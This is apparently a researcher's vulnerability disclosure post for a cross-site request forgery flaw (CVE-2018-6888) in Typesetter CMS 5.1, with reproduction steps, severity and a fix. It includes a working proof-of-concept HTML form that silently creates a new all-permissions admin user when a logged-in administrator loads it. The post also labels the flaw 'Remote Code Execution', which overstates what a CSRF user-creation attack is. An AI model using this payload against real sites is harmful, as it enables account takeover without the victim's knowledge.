Cross Site Request Forgery- Type Setter CMS 5.1-CVE-2018-6888

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Hi Readers,


Recently while performing some open source security assessment, I came across an CMS “ Typesetter” CMS. Curious to explore its functionalities, I set up a local copy and started playing around to find security vulnerabilities’. 

Title of the Vulnerability:  Cross Site Request Forgery.
Vulnerability Class: Remote Code Execution/ Account takeover
Technical Details & Description: The application source code is coded in a way which allows malicious crafted HTML page to be executed directly without any anti csrf countermeasures.
CVE ID allocated:  CVE-2018-6888
Product & Service Introduction: TypeSetter 5.1

Steps to Re-Produce –
1.       Visit the application
2.       Visit the User Permissions Page.
3.        Goto add user, and create a csrf crafted exploit for the same , upon hosting it on a server and sending the link to click by victim, it gets exploited.
Exploitation Technique: A attacker can perform application modification to complete account takeover.
Severity Level: Critical
Security Risk:
The presence of such a risk can lead to user data compromise as well as account takeover
Exploit code:
<html>

  <body>
    <form action="http://localhost/cms/Admin/Users" method="POST">
      <input type="hidden" name="verified" value="475f10871b08f44c20dab5bc2cb55d17946e6c98fa8abf28c64a5a9dab0ee2e122fefcc29cae9cc2e48daf564bfe55665e26b2b2174dee14e83c5e6974cf3218" />
      <input type="hidden" name="username" value="samrat&#95;test" />
      <input type="hidden" name="password" value="sam9318" />
      <input type="hidden" name="password1" value="sam9318" />
      <input type="hidden" name="algo" value="password&#95;hash" />
      <input type="hidden" name="email" value="sam9318&#64;gmail&#46;com" />
      <input type="hidden" name="grant&#95;all" value="all" />
      <input type="hidden" name="cmd" value="newuser" />
      <input type="hidden" name="aaa" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affected Product Version: 5.1
Solution - Fix & Patch: The application code should be configured with an anti csrf token to mitigate the issue of Cross Site request forgery.





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